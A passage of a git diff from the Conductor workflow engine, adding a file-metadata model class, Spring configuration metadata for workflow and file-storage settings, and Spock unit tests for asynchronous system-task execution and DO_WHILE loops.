    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model; + +import java.time.Instant; + +import org.conductoross.conductor.model.file.FileUploadStatus; +import org.conductoross.conductor.model.file.StorageType; + +/** + * Server-internal model for a file-metadata record. Holds the bare {@code fileId} (no prefix), the + * server-internal {@code storagePath}, backend-reported {@code storageContentHash} / {@code + * storageContentSize}, upload status, and owning workflow/task IDs. Converted to DTOs (where {@code + * fileId} becomes {@code fileHandleId}) by {@code FileModelConverter}. + */ +public class FileModel { + + /** Bare identifier — no prefix. Wrapped as {@code conductor://file/} on the wire. */ + private String fileId; + + private String fileName; + private String contentType; + + /** + * Set on upload completion from {@link + * org.conductoross.conductor.core.storage.FileStorage#getStorageFileInfo}. {@code null} for + * local backend. + */ + private String storageContentHash; + + /** Actual bytes on the backend, populated on upload completion. */ + private long storageContentSize; + + private StorageType storageType; + + /** Server-internal storage key. Never exposed via the REST API. */ + private String storagePath; + + private FileUploadStatus uploadStatus; + private String workflowId; + private String taskId; + private Instant createdAt; + private Instant updatedAt; + + public String getFileId() { + return fileId; + } + + public void setFileId(String fileId) { + this.fileId = fileId; + } + + public String getFileName() { + return fileName; + } + + public void setFileName(String fileName) { + this.fileName = fileName; + } + + public String getContentType() { + return contentType; + } + + public void setContentType(String contentType) { + this.contentType = contentType; + } + + public String getStorageContentHash() { + return storageContentHash; + } + + public void setStorageContentHash(String storageContentHash) { + this.storageContentHash = storageContentHash; + } + + public long getStorageContentSize() { + return storageContentSize; + } + + public void setStorageContentSize(long storageContentSize) { + this.storageContentSize = storageContentSize; + } + + public StorageType getStorageType() { + return storageType; + } + + public void setStorageType(StorageType storageType) { + this.storageType = storageType; + } + + public String getStoragePath() { + return storagePath; + } + + public void setStoragePath(String storagePath) { + this.storagePath = storagePath; + } + + public FileUploadStatus getUploadStatus() { + return uploadStatus; + } + + public void setUploadStatus(FileUploadStatus uploadStatus) { + this.uploadStatus = uploadStatus; + } + + public String getWorkflowId() { + return workflowId; + } + + public void setWorkflowId(String workflowId) { + this.workflowId = workflowId; + } + + public String getTaskId() { + return taskId; + } + + public void setTaskId(String taskId) { + this.taskId = taskId; + } + + public Instant getCreatedAt() { + return createdAt; + } + + public void setCreatedAt(Instant createdAt) { + this.createdAt = createdAt; + } + + public Instant getUpdatedAt() { + return updatedAt; + } + + public void setUpdatedAt(Instant updatedAt) { + this.updatedAt = updatedAt; + } + + @Override + public String toString() { + return "FileModel{fileId='" + + fileId + + "', fileName='" + + fileName + + "', uploadStatus=" + + uploadStatus + + "}"; + } +} diff --git a/core/src/main/resources/META-INF/additional-spring-configuration-metadata.json b/core/src/main/resources/META-INF/additional-spring-configuration-metadata.json new file mode 100644 index 0000000..691e141 --- /dev/null +++ b/core/src/main/resources/META-INF/additional-spring-configuration-metadata.json @@ -0,0 +1,171 @@ +{ + "properties": [ + { + "name": "conductor.workflow-reconciler.enabled", + "type": "java.lang.Boolean", + "description": "Enables the workflow reconciliation mechanism.", + "sourceType": "com.netflix.conductor.core.reconciliation.WorkflowReconciler", + "defaultValue": true + }, + { + "name": "conductor.sweep-frequency.millis", + "type": "java.lang.Integer", + "description": "The frequency in milliseconds, at which the workflow sweeper should evaluate active workflows.", + "sourceType": "com.netflix.conductor.core.reconciliation.WorkflowReconciler", + "defaultValue": 500 + }, + { + "name": "conductor.workflow-repair-service.enabled", + "type": "java.lang.Boolean", + "description": "Configuration to enable WorkflowRepairService, that tries to keep ExecutionDAO and QueueDAO in sync, based on the task or workflow state. This is disabled by default; To enable, the Queueing layer must implement QueueDAO.containsMessage method.", + "sourceType": "com.netflix.conductor.core.reconciliation.WorkflowRepairService" + }, + { + "name": "conductor.system-task-workers.enabled", + "type": "java.lang.Boolean", + "description": "Configuration to enable SystemTaskWorkerCoordinator, that polls and executes the asynchronous system tasks.", + "sourceType": "com.netflix.conductor.core.execution.tasks.SystemTaskWorkerCoordinator", + "defaultValue": true + }, + { + "name": "conductor.app.isolated-system-task-enabled", + "type": "java.lang.Boolean", + "description": "Used to enable/disable use of isolation groups for system task workers." + }, + { + "name": "conductor.app.isolatedSystemTaskPollIntervalSecs", + "type": "java.lang.Integer", + "description": "The time interval (in seconds) at which new isolated task queues will be polled and added to the system task queue repository." + }, + { + "name": "conductor.app.taskPendingTimeThresholdMins", + "type": "java.lang.Long", + "description": "The time threshold (in minutes) beyond which a warning log will be emitted for a task if it stays in the same state for this duration." + }, + { + "name": "conductor.workflow-monitor.enabled", + "type": "java.lang.Boolean", + "description": "Enables the workflow monitor that publishes workflow and task metrics.", + "defaultValue": "true", + "sourceType": "com.netflix.conductor.metrics.WorkflowMonitor" + }, + { + "name": "conductor.workflow-monitor.stats.initial-delay", + "type": "java.lang.Integer", + "description": "The initial delay (in milliseconds) at which the workflow monitor publishes workflow and task metrics." + }, + { + "name": "conductor.workflow-monitor.metadata-refresh-interval", + "type": "java.lang.Integer", + "description": "The interval (counter) after which the workflow monitor refreshes the metadata definitions from the datastore.", + "defaultValue": "10" + }, + { + "name": "conductor.workflow-monitor.stats.delay", + "type": "java.lang.Integer", + "description": "The delay (in milliseconds) at which the workflow monitor publishes workflow and task metrics." + }, + { + "name": "conductor.external-payload-storage.type", + "type": "java.lang.String", + "description": "The type of payload storage to be used for externalizing large payloads." + }, + { + "name": "conductor.default-event-processor.enabled", + "type": "java.lang.Boolean", + "description": "Enables the default event processor for handling events.", + "sourceType": "com.netflix.conductor.core.events.DefaultEventProcessor", + "defaultValue": "true" + }, + { + "name": "conductor.event-queues.default.enabled", + "type": "java.lang.Boolean", + "description": "Enables the use of the underlying queue implementation to provide queues for consuming events.", + "sourceType": "com.netflix.conductor.core.events.queue.ConductorEventQueueProvider", + "defaultValue": "true" + }, + { + "name": "conductor.default-event-queue-processor.enabled", + "type": "java.lang.Boolean", + "description": "Enables the processor for the default event queues that conductor is configured to listen on.", + "sourceType": "com.netflix.conductor.core.events.queue.DefaultEventQueueProcessor", + "defaultValue": "true" + }, + { + "name": "conductor.workflow-status-listener.type", + "type": "java.lang.String", + "description": "The implementation of the workflow status listener to be used." + }, + { + "name": "conductor.task-status-listener.type", + "type": "java.lang.String", + "description": "The implementation of the task status listener to be used." + }, + { + "name": "conductor.workflow-execution-lock.type", + "type": "java.lang.String", + "description": "The implementation of the workflow execution lock to be used.", + "defaultValue": "noop_lock" + }, + { + "name": "conductor.file-storage.enabled", + "type": "java.lang.Boolean", + "description": "Enable the file-storage feature. When false, no file-storage beans are created and /api/files returns 404.", + "defaultValue": false + }, + { + "name": "conductor.file-storage.type", + "type": "java.lang.String", + "description": "Storage backend: local, s3, gcs, or azure-blob.", + "defaultValue": "local" + }, + { + "name": "conductor.file-storage.signed-url-expiration", + "type": "java.time.Duration", + "description": "TTL for presigned upload/download URLs.", + "defaultValue": "60s" + } + ], + "hints": [ + { + "name": "conductor.external-payload-storage.type", + "values": [ + { + "value": "dummy", + "description": "Use the dummy no-op implementation as the external payload storage." + } + ] + }, + { + "name": "conductor.workflow-status-listener.type", + "values": [ + { + "value": "stub", + "description": "Use the no-op implementation of the workflow status listener." + } + ] + }, + { + "name": "conductor.workflow-execution-lock.type", + "values": [ + { + "value": "noop_lock", + "description": "Use the no-op implementation as the lock provider." + }, + { + "value": "local_only", + "description": "Use the local in-memory cache based implementation as the lock provider." + } + ] + }, + { + "name": "conductor.file-storage.type", + "values": [ + { "value": "local", "description": "Local filesystem storage." }, + { "value": "s3", "description": "AWS S3 (or S3-compatible) storage." }, + { "value": "gcs", "description": "Google Cloud Storage." }, + { "value": "azure-blob", "description": "Azure Blob Storage." } + ] + } + ] +} diff --git a/core/src/main/resources/META-INF/validation.xml b/core/src/main/resources/META-INF/validation.xml new file mode 100644 index 0000000..bdc4df2 --- /dev/null +++ b/core/src/main/resources/META-INF/validation.xml @@ -0,0 +1,27 @@ + + + + META-INF/validation/constraints.xml + + \ No newline at end of file diff --git a/core/src/main/resources/META-INF/validation/constraints.xml b/core/src/main/resources/META-INF/validation/constraints.xml new file mode 100644 index 0000000..ad3b818 --- /dev/null +++ b/core/src/main/resources/META-INF/validation/constraints.xml @@ -0,0 +1,32 @@ + + + + com.netflix.conductor.common.metadata.workflow + + + + + + + \ No newline at end of file diff --git a/core/src/test/groovy/com/netflix/conductor/core/execution/AsyncSystemTaskExecutorTest.groovy b/core/src/test/groovy/com/netflix/conductor/core/execution/AsyncSystemTaskExecutorTest.groovy new file mode 100644 index 0000000..01ef271 --- /dev/null +++ b/core/src/test/groovy/com/netflix/conductor/core/execution/AsyncSystemTaskExecutorTest.groovy @@ -0,0 +1,439 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution + +import java.time.Duration + +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.core.config.ConductorProperties +import com.netflix.conductor.core.dal.ExecutionDAOFacade +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask +import com.netflix.conductor.core.utils.IDGenerator +import com.netflix.conductor.core.utils.ParametersUtils +import com.netflix.conductor.core.utils.QueueUtils +import com.netflix.conductor.dao.MetadataDAO +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.model.TaskModel +import com.netflix.conductor.model.WorkflowModel + +import com.fasterxml.jackson.databind.ObjectMapper +import spock.lang.Specification +import spock.lang.Subject + +import static com.netflix.conductor.common.metadata.tasks.TaskType.SUB_WORKFLOW + +class AsyncSystemTaskExecutorTest extends Specification { + + ExecutionDAOFacade executionDAOFacade + QueueDAO queueDAO + MetadataDAO metadataDAO + WorkflowExecutor workflowExecutor + ParametersUtils parametersUtils + + @Subject + AsyncSystemTaskExecutor executor + + WorkflowSystemTask workflowSystemTask + ConductorProperties properties = new ConductorProperties() + + def setup() { + executionDAOFacade = Mock(ExecutionDAOFacade.class) + queueDAO = Mock(QueueDAO.class) + metadataDAO = Mock(MetadataDAO.class) + workflowExecutor = Mock(WorkflowExecutor.class) + parametersUtils = Mock(ParametersUtils.class) + + workflowSystemTask = Mock(WorkflowSystemTask.class) { + isTaskRetrievalRequired() >> true + } + + properties.taskExecutionPostponeDuration = Duration.ofSeconds(1) + properties.systemTaskWorkerCallbackDuration = Duration.ofSeconds(1) + + parametersUtils.substituteSecrets(_) >> { args -> args[0] } + + executor = new AsyncSystemTaskExecutor(executionDAOFacade, queueDAO, metadataDAO, properties, workflowExecutor, parametersUtils) + } + + // this is not strictly a unit test, but its essential to test AsyncSystemTaskExecutor with SubWorkflow + def "Execute SubWorkflow task"() { + given: + String workflowId = "workflowId" + IDGenerator idGenerator = new IDGenerator() + String parentTaskId = idGenerator.generate() + String subWorkflowId = idGenerator.generateSubWorkflowId(workflowId, parentTaskId, 0) + SubWorkflow subWorkflowTask = new SubWorkflow(new ObjectMapper(), idGenerator) + + TaskModel task1 = new TaskModel() + task1.setTaskType(SUB_WORKFLOW.name()) + task1.setReferenceTaskName("waitTask") + task1.setWorkflowInstanceId(workflowId) + task1.setScheduledTime(System.currentTimeMillis()) + task1.setTaskId(parentTaskId) + task1.getInputData().put("asyncComplete", true) + task1.getInputData().put("subWorkflowName", "junit1") + task1.getInputData().put("subWorkflowVersion", 1) + task1.setStatus(TaskModel.Status.SCHEDULED) + + String queueName = QueueUtils.getQueueName(task1) + WorkflowModel workflow = new WorkflowModel(workflowId: workflowId, status: WorkflowModel.Status.RUNNING) + WorkflowModel subWorkflow = new WorkflowModel(workflowId: subWorkflowId, status: WorkflowModel.Status.RUNNING) + + when: + executor.execute(subWorkflowTask, parentTaskId) + + then: + 1 * executionDAOFacade.getTaskModel(parentTaskId) >> task1 + 1 * executionDAOFacade.getWorkflowModel(workflowId, subWorkflowTask.isTaskRetrievalRequired()) >> workflow + 1 * workflowExecutor.startWorkflowIdempotent(*_) >> subWorkflow + + // SUB_WORKFLOW is asyncComplete so its removed from the queue + 1 * queueDAO.remove(queueName, parentTaskId) + + task1.status == TaskModel.Status.IN_PROGRESS + task1.subWorkflowId == subWorkflowId + task1.startTime != 0 + } + + def "Execute with a non-existing task id"() { + given: + String taskId = "taskId" + + when: + executor.execute(workflowSystemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> null + 0 * workflowSystemTask.start(*_) + 0 * executionDAOFacade.updateTask(_) + } + + def "Execute with a task id that fails to load"() { + given: + String taskId = "taskId" + + when: + executor.execute(workflowSystemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> { throw new RuntimeException("datastore unavailable") } + 0 * workflowSystemTask.start(*_) + 0 * executionDAOFacade.updateTask(_) + } + + def "Execute with a task id that is in terminal state"() { + given: + String taskId = "taskId" + TaskModel task = new TaskModel(taskType: "type1", status: TaskModel.Status.COMPLETED, taskId: taskId) + + when: + executor.execute(workflowSystemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> task + 1 * queueDAO.remove(task.taskType, taskId) + 0 * workflowSystemTask.start(*_) + 0 * executionDAOFacade.updateTask(_) + } + + def "Execute with a task id that is part of a workflow in terminal state"() { + given: + String workflowId = "workflowId" + String taskId = "taskId" + TaskModel task = new TaskModel(taskType: "type1", status: TaskModel.Status.SCHEDULED, taskId: taskId, workflowInstanceId: workflowId) + WorkflowModel workflow = new WorkflowModel(workflowId: workflowId, status: WorkflowModel.Status.COMPLETED) + String queueName = QueueUtils.getQueueName(task) + + when: + executor.execute(workflowSystemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> task + 1 * executionDAOFacade.getWorkflowModel(workflowId, true) >> workflow + 1 * queueDAO.remove(queueName, taskId) + + task.status == TaskModel.Status.CANCELED + task.startTime == 0 + } + + def "Execute with a task id that exceeds in-progress limit"() { + given: + String workflowId = "workflowId" + String taskId = "taskId" + + TaskModel task = new TaskModel(taskType: "type1", status: TaskModel.Status.SCHEDULED, taskId: taskId, workflowInstanceId: workflowId, + workflowPriority: 10) + String queueName = QueueUtils.getQueueName(task) + + when: + executor.execute(workflowSystemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> task + 1 * executionDAOFacade.exceedsInProgressLimit(task) >> true + 1 * queueDAO.postpone(queueName, taskId, task.workflowPriority, properties.taskExecutionPostponeDuration.seconds) + + task.status == TaskModel.Status.SCHEDULED + task.startTime == 0 + } + + def "Execute with a task id that is rate limited"() { + given: + String workflowId = "workflowId" + String taskId = "taskId" + TaskModel task = new TaskModel(taskType: "type1", status: TaskModel.Status.SCHEDULED, taskId: taskId, workflowInstanceId: workflowId, + rateLimitPerFrequency: 1, taskDefName: "taskDefName", workflowPriority: 10) + String queueName = QueueUtils.getQueueName(task) + TaskDef taskDef = new TaskDef() + + when: + executor.execute(workflowSystemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> task + 1 * metadataDAO.getTaskDef(task.taskDefName) >> taskDef + 1 * executionDAOFacade.exceedsRateLimitPerFrequency(task, taskDef) >> taskDef + 1 * queueDAO.postpone(queueName, taskId, task.workflowPriority, properties.taskExecutionPostponeDuration.seconds) + + task.status == TaskModel.Status.SCHEDULED + task.startTime == 0 + } + + def "Execute with a task id that is rate limited but postpone fails"() { + given: + String workflowId = "workflowId" + String taskId = "taskId" + TaskModel task = new TaskModel(taskType: "type1", status: TaskModel.Status.SCHEDULED, taskId: taskId, workflowInstanceId: workflowId, + rateLimitPerFrequency: 1, taskDefName: "taskDefName", workflowPriority: 10) + String queueName = QueueUtils.getQueueName(task) + TaskDef taskDef = new TaskDef() + + when: + executor.execute(workflowSystemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> task + 1 * metadataDAO.getTaskDef(task.taskDefName) >> taskDef + 1 * executionDAOFacade.exceedsRateLimitPerFrequency(task, taskDef) >> taskDef + 1 * queueDAO.postpone(queueName, taskId, task.workflowPriority, properties.taskExecutionPostponeDuration.seconds) >> { throw new RuntimeException("queue unavailable") } + + task.status == TaskModel.Status.SCHEDULED + task.startTime == 0 + } + + def "Execute with a task id that is in SCHEDULED state"() { + given: + String workflowId = "workflowId" + String taskId = "taskId" + TaskModel task = new TaskModel(taskType: "type1", status: TaskModel.Status.SCHEDULED, taskId: taskId, workflowInstanceId: workflowId, + taskDefName: "taskDefName", workflowPriority: 10) + WorkflowModel workflow = new WorkflowModel(workflowId: workflowId, status: WorkflowModel.Status.RUNNING) + String queueName = QueueUtils.getQueueName(task) + workflowSystemTask.getEvaluationOffset(task, 1) >> Optional.empty(); + + + when: + executor.execute(workflowSystemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> task + 1 * executionDAOFacade.getWorkflowModel(workflowId, true) >> workflow + 1 * executionDAOFacade.updateTask(task) + 1 * queueDAO.postpone(queueName, taskId, task.workflowPriority, properties.systemTaskWorkerCallbackDuration.seconds) + 1 * workflowSystemTask.start(workflow, task, workflowExecutor) >> { task.status = TaskModel.Status.IN_PROGRESS } + + 0 * workflowExecutor.decide(workflowId) // verify that workflow is NOT decided + + task.status == TaskModel.Status.IN_PROGRESS + task.startTime != 0 // verify that startTime is set + task.endTime == 0 // verify that endTime is not set + task.pollCount == 1 // verify that poll count is incremented + task.callbackAfterSeconds == properties.systemTaskWorkerCallbackDuration.seconds + } + + def "Execute with a task id that is in SCHEDULED state and WorkflowSystemTask.start sets the task in a terminal state"() { + given: + String workflowId = "workflowId" + String taskId = "taskId" + TaskModel task = new TaskModel(taskType: "type1", status: TaskModel.Status.SCHEDULED, taskId: taskId, workflowInstanceId: workflowId, + taskDefName: "taskDefName", workflowPriority: 10) + WorkflowModel workflow = new WorkflowModel(workflowId: workflowId, status: WorkflowModel.Status.RUNNING) + String queueName = QueueUtils.getQueueName(task) + + when: + executor.execute(workflowSystemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> task + 1 * executionDAOFacade.getWorkflowModel(workflowId, true) >> workflow + 1 * executionDAOFacade.updateTask(task) + + 1 * workflowSystemTask.start(workflow, task, workflowExecutor) >> { task.status = TaskModel.Status.COMPLETED } + 1 * queueDAO.remove(queueName, taskId) + 1 * workflowExecutor.decide(workflowId) // verify that workflow is decided + + task.status == TaskModel.Status.COMPLETED + task.startTime != 0 // verify that startTime is set + task.endTime != 0 // verify that endTime is set + task.pollCount == 1 // verify that poll count is incremented + } + + def "Execute with a task id that is in SCHEDULED state but WorkflowSystemTask.start fails"() { + given: + String workflowId = "workflowId" + String taskId = "taskId" + TaskModel task = new TaskModel(taskType: "type1", status: TaskModel.Status.SCHEDULED, taskId: taskId, workflowInstanceId: workflowId, + taskDefName: "taskDefName", workflowPriority: 10) + WorkflowModel workflow = new WorkflowModel(workflowId: workflowId, status: WorkflowModel.Status.RUNNING) + + when: + executor.execute(workflowSystemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> task + 1 * executionDAOFacade.getWorkflowModel(workflowId, true) >> workflow + 1 * executionDAOFacade.updateTask(task) + + // simulating a "start" failure that happens after the Task object is modified + // the modification will be persisted + 1 * workflowSystemTask.start(workflow, task, workflowExecutor) >> { + task.status = TaskModel.Status.IN_PROGRESS + throw new RuntimeException("unknown system task failure") + } + + 0 * workflowExecutor.decide(workflowId) // verify that workflow is NOT decided + + task.status == TaskModel.Status.IN_PROGRESS + task.startTime != 0 // verify that startTime is set + task.endTime == 0 // verify that endTime is not set + task.pollCount == 1 // verify that poll count is incremented + } + + def "Execute with a task id that is in SCHEDULED state and is set to asyncComplete"() { + given: + String workflowId = "workflowId" + String taskId = "taskId" + TaskModel task = new TaskModel(taskType: "type1", status: TaskModel.Status.SCHEDULED, taskId: taskId, workflowInstanceId: workflowId, + taskDefName: "taskDefName", workflowPriority: 10) + WorkflowModel workflow = new WorkflowModel(workflowId: workflowId, status: WorkflowModel.Status.RUNNING) + String queueName = QueueUtils.getQueueName(task) + + when: + executor.execute(workflowSystemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> task + 1 * executionDAOFacade.getWorkflowModel(workflowId, true) >> workflow + 1 * executionDAOFacade.updateTask(task) // 1st call for pollCount, 2nd call for status update + + 1 * workflowSystemTask.isAsyncComplete(task) >> true + 1 * workflowSystemTask.start(workflow, task, workflowExecutor) >> { task.status = TaskModel.Status.IN_PROGRESS } + 1 * queueDAO.remove(queueName, taskId) + + 1 * workflowExecutor.decide(workflowId) // verify that workflow is decided + + task.status == TaskModel.Status.IN_PROGRESS + task.startTime != 0 // verify that startTime is set + task.endTime == 0 // verify that endTime is not set + task.pollCount == 1 // verify that poll count is incremented + } + + def "Execute with a task id that is in IN_PROGRESS state"() { + given: + String workflowId = "workflowId" + String taskId = "taskId" + TaskModel task = new TaskModel(taskType: "type1", status: TaskModel.Status.IN_PROGRESS, taskId: taskId, workflowInstanceId: workflowId, + rateLimitPerFrequency: 1, taskDefName: "taskDefName", workflowPriority: 10, pollCount: 1) + WorkflowModel workflow = new WorkflowModel(workflowId: workflowId, status: WorkflowModel.Status.RUNNING) + + when: + executor.execute(workflowSystemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> task + 1 * executionDAOFacade.getWorkflowModel(workflowId, true) >> workflow + 1 * executionDAOFacade.updateTask(task) // 1st call for pollCount, 2nd call for status update + + 0 * workflowSystemTask.start(workflow, task, workflowExecutor) + 1 * workflowSystemTask.execute(workflow, task, workflowExecutor) + + task.status == TaskModel.Status.IN_PROGRESS + task.endTime == 0 // verify that endTime is not set + task.pollCount == 2 // verify that poll count is incremented + } + + def "Execute with a task id that is in IN_PROGRESS state and is set to asyncComplete"() { + given: + String workflowId = "workflowId" + String taskId = "taskId" + TaskModel task = new TaskModel(taskType: "type1", status: TaskModel.Status.IN_PROGRESS, taskId: taskId, workflowInstanceId: workflowId, + rateLimitPerFrequency: 1, taskDefName: "taskDefName", workflowPriority: 10, pollCount: 1) + WorkflowModel workflow = new WorkflowModel(workflowId: workflowId, status: WorkflowModel.Status.RUNNING) + + when: + executor.execute(workflowSystemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> task + 1 * executionDAOFacade.getWorkflowModel(workflowId, true) >> workflow + 1 * executionDAOFacade.updateTask(task) // only one call since pollCount is not incremented + + 1 * workflowSystemTask.isAsyncComplete(task) >> true + 0 * workflowSystemTask.start(workflow, task, workflowExecutor) + 1 * workflowSystemTask.execute(workflow, task, workflowExecutor) + + task.status == TaskModel.Status.IN_PROGRESS + task.endTime == 0 // verify that endTime is not set + task.pollCount == 1 // verify that poll count is NOT incremented + } + + def "secrets are substituted for execution then input restored"() { + given: + String workflowId = "wfid" + String taskId = "taskid" + WorkflowSystemTask systemTask = Mock(WorkflowSystemTask.class) { + getTaskType() >> "HTTP" + isAsyncComplete(_) >> false + } + TaskModel task = new TaskModel() + task.setTaskId(taskId) + task.setTaskType("HTTP") + task.setStatus(TaskModel.Status.SCHEDULED) + task.setWorkflowInstanceId(workflowId) + def literal = [pwd: '${workflow.secrets.DB_PASSWORD}'] as Map + task.setInputData(literal) + + WorkflowModel workflow = new WorkflowModel() + workflow.setStatus(WorkflowModel.Status.RUNNING) + + def resolved = [pwd: 's3cr3t'] as Map + Map seenDuringStart = null + + when: + executor.execute(systemTask, taskId) + + then: + 1 * executionDAOFacade.getTaskModel(taskId) >> task + 1 * executionDAOFacade.getWorkflowModel(workflowId, _) >> workflow + 1 * parametersUtils.substituteSecrets(literal) >> resolved + 1 * systemTask.start(workflow, task, _) >> { args -> + seenDuringStart = (args[1] as TaskModel).getInputData() + } + // during start the task saw resolved input... + seenDuringStart == resolved + // ...and afterwards the literal is restored for persistence + task.getInputData() == literal + } + +} diff --git a/core/src/test/groovy/com/netflix/conductor/core/execution/tasks/DoWhileSpec.groovy b/core/src/test/groovy/com/netflix/conductor/core/execution/tasks/DoWhileSpec.groovy new file mode 100644 index 0000000..d5c7df3 --- /dev/null +++ b/core/src/test/groovy/com/netflix/conductor/core/execution/tasks/DoWhileSpec.groovy @@ -0,0 +1,348 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.common.utils.TaskUtils +import com.netflix.conductor.core.dal.ExecutionDAOFacade +import com.netflix.conductor.core.exception.TerminateWorkflowException +import com.netflix.conductor.core.execution.WorkflowExecutor +import com.netflix.conductor.core.utils.ParametersUtils +import com.netflix.conductor.model.TaskModel +import com.netflix.conductor.model.WorkflowModel + +import com.fasterxml.jackson.databind.ObjectMapper +import spock.lang.Specification +import spock.lang.Subject + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_DO_WHILE +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_HTTP + +class DoWhileSpec extends Specification { + + @Subject + DoWhile doWhile + + WorkflowExecutor workflowExecutor + ExecutionDAOFacade executionDAOFacade + ObjectMapper objectMapper + ParametersUtils parametersUtils + TaskModel doWhileTaskModel + + WorkflowTask task1, task2 + TaskModel taskModel1, taskModel2 + + def setup() { + objectMapper = new ObjectMapper(); + workflowExecutor = Mock(WorkflowExecutor.class) + executionDAOFacade = Mock(ExecutionDAOFacade.class) + parametersUtils = new ParametersUtils(objectMapper) + + task1 = new WorkflowTask(name: 'task1', taskReferenceName: 'task1') + task2 = new WorkflowTask(name: 'task2', taskReferenceName: 'task2') + + doWhile = new DoWhile(parametersUtils, executionDAOFacade) + } + + def "first iteration"() { + given: + WorkflowTask doWhileWorkflowTask = new WorkflowTask(taskReferenceName: 'doWhileTask', type: TASK_TYPE_DO_WHILE) + doWhileWorkflowTask.loopCondition = "if (\$.doWhileTask['iteration'] < 1) { true; } else { false; }" + doWhileWorkflowTask.loopOver = [task1, task2] + doWhileTaskModel = new TaskModel(workflowTask: doWhileWorkflowTask, taskId: UUID.randomUUID().toString(), + taskType: TASK_TYPE_DO_WHILE, referenceTaskName: doWhileWorkflowTask.taskReferenceName) + + def workflowModel = new WorkflowModel() + workflowModel.tasks = [doWhileTaskModel] + + when: + def retVal = doWhile.execute(workflowModel, doWhileTaskModel, workflowExecutor) + + then: "verify that return value is true, iteration value is updated in DO_WHILE TaskModel" + retVal + + and: "verify the iteration value" + doWhileTaskModel.iteration == 1 + doWhileTaskModel.outputData['iteration'] == 1 + + and: "verify whether the first task is scheduled" + 1 * workflowExecutor.scheduleNextIteration(doWhileTaskModel, workflowModel) + } + + def "an iteration - one task is complete and other is not scheduled"() { + given: "WorkflowModel consists of one iteration of one task inside DO_WHILE already completed" + taskModel1 = createTaskModel(task1) + + and: "loop over contains two tasks" + WorkflowTask doWhileWorkflowTask = new WorkflowTask(taskReferenceName: 'doWhileTask', type: TASK_TYPE_DO_WHILE) + doWhileWorkflowTask.loopCondition = "if (\$.doWhileTask['iteration'] < 2) { true; } else { false; }" + doWhileWorkflowTask.loopOver = [task1, task2] // two tasks + + doWhileTaskModel = new TaskModel(workflowTask: doWhileWorkflowTask, taskId: UUID.randomUUID().toString(), + taskType: TASK_TYPE_DO_WHILE, referenceTaskName: doWhileWorkflowTask.taskReferenceName) + doWhileTaskModel.iteration = 1 + doWhileTaskModel.outputData['iteration'] = 1 + doWhileTaskModel.status = TaskModel.Status.IN_PROGRESS + + def workflowModel = new WorkflowModel(workflowDefinition: new WorkflowDef(name: 'test_workflow')) + // setup the WorkflowModel + workflowModel.tasks = [doWhileTaskModel, taskModel1] + + // this is the expected format of iteration 1's output data + def iteration1OutputData = [:] + iteration1OutputData[task1.taskReferenceName] = taskModel1.outputData + + when: + def retVal = doWhile.execute(workflowModel, doWhileTaskModel, workflowExecutor) + + then: "verify that the return value is false, since the iteration is not complete" + !retVal + + and: "verify that the next iteration is NOT scheduled" + 0 * workflowExecutor.scheduleNextIteration(doWhileTaskModel, workflowModel) + } + + def "next iteration - one iteration of all tasks inside DO_WHILE are complete"() { + given: "WorkflowModel consists of one iteration of tasks inside DO_WHILE already completed" + taskModel1 = createTaskModel(task1) + taskModel2 = createTaskModel(task2) + + WorkflowTask doWhileWorkflowTask = new WorkflowTask(taskReferenceName: 'doWhileTask', type: TASK_TYPE_DO_WHILE) + doWhileWorkflowTask.loopCondition = "if (\$.doWhileTask['iteration'] < 2) { true; } else { false; }" + doWhileWorkflowTask.loopOver = [task1, task2] + + doWhileTaskModel = new TaskModel(workflowTask: doWhileWorkflowTask, taskId: UUID.randomUUID().toString(), + taskType: TASK_TYPE_DO_WHILE, referenceTaskName: doWhileWorkflowTask.taskReferenceName) + doWhileTaskModel.iteration = 1 + doWhileTaskModel.outputData['iteration'] = 1 + doWhileTaskModel.status = TaskModel.Status.IN_PROGRESS + + def workflowModel = new WorkflowModel(workflowDefinition: new WorkflowDef(name: 'test_workflow')) + // setup the WorkflowModel + workflowModel.tasks = 